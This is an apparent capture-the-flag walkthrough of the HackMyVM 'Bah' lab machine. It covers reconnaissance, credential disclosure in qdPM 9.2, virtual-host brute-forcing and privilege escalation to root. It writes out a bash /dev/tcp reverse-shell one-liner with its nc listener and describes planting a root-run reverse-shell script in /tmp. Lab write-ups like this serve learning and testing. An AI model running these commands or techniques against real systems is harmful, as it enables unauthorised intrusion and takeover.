Bah is an easy machine from HackMyVm by SML. This machine works on VirtualBox. We get to learn basic concepts of pentesting from this machine. “Bah Writeup – HackMyVM – Walkthrough”
Get the IP address of the target
Firstly, I identified the IP address of the machine.
fping -aqg 10.0.0/24
Scan open ports
Next, I scanned the open ports on the target. This would inform me about the exposed services.
sudo nmap -v -T4 -p- -A -oN nmap.log 10.0.0.10
From the nmap scan, we can see that HTTP and MySQL services are running on the target.
Enumerate the webserver
We see a qdPM 9.2 login page on the webserver.
qdPM is a web-based project management system. This particular version suffers from information disclosure giving us credentials of the database.
From the path “/core/config/databases.yml”, I got the credentials.
Therefore, I logged into the MySQL server. Then, I saw a database named “hidden”.
mysql -s -h 10.0.0.10 -uqpmadmin -p
Similarly, I checked the tables of the database “hidden”. From one of the tables, “url”, I got some domain names. Thus, I had to identify the one that works. You are seeing the output in tabbed formats because of the -s (silent) option. I did this because I had to copy these values and the table formatting would be a nuisance.
SELECT url FROM url;
In this way, I copied the URLs to a new file “urls.txt” in my local machine as follows.
Then, I bruteforced the hosts.
ffuf -c -r -u http://10.0.0.10 -H "HOST: FUZZ" -w urls.txt
It looks like we have a hostname party.bah.hmv on the target. Therefore, I added that on my /etc/hosts as follows.
Upon visiting the host, we see a shell in a box instance.
I tried the password of qpmadmin that I found earlier from the databse.yml file.
Although the shell looks good, I cannot do many operations like copy, paste, etc. on it. Therefore, I spawned a reverse shell on port 9001 of my machine. Next, I upgraded the shell.
On the local machine:
nc -nlvp 9001
On the shell in a box instance:
bash -i >& /dev/tcp/10.0.0.4/9001 0>&1
User privilege escalation
We can see another user named “rocio” on the machine.
Similarly, on the table “users”, we have the password of the user.
Using the password, I could switch to the user.
su -l rocio
Root privilege escalation
For root privilege escalation, we need “pspy” to snoop on processes. Therefore, I downloaded the binary to /tmp directory from my local machine.
On my local machine where the binary pspy64 is present.
python3 -m http.server
On the target machine:
chmod +x pspy64
We see a command of shellinaboxd. The flag -s is used to start services. We can see the following from the manual page of the binary.
Hence, this means that /devel in the webapp will invoke /tmp/dev of the target machine by the user root. Thus, we can create an executable script named “dev” on /tmp that would give us a reverse shell. I am listening on port 9002 for this.
Finally, I visited at party.bah.hmv/devel to spawn the reverse shell.
Next, I upgraded the shell and captured the root flag.